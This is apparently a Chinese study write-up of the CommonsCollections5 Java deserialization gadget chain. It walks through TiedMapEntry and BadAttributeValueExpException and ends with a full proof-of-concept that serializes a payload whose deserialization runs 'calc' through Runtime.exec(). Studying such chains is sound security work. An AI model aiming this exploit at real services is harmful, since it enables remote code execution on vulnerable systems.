CommonsCollections5分析
CommonsCollections5
调用链
BadAttributeValueExpException.readObject() | TiedMapEntry.toString() | LazyMap.get() | ChainedTransformer.transform() | ConstantTransformer.transform() | InvokerTransformer.transform() | Runtime.exec()
Ysoserial调用链
/* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */
一些类的分析
TiedMapEntry类分析
这里接收两个值分别赋给map和key
这里可以可以传入Lazy.map()进行触发
下来跟触发getValue()的地方
再紧接着找调用toStirng()的地方 下来就得跟进另一个新的类BadAttributeValueExpException
BadAttributeValueExpException类分析
注意此类的构造函数中 传入值再序列化的时候会触发toString 所以需要再序列化阶段置空它 后续可以使用反射进行传进来
这个类的readObject()中调用了此类 这里再72行获取val中的值 再86行进行了调用
最终poc
package com.test; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; public class cc5 { public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})}); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); TiedMapEntry tiedmap = new TiedMapEntry(map,123); BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5")); outputStream.writeObject(poc); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
参考学习
1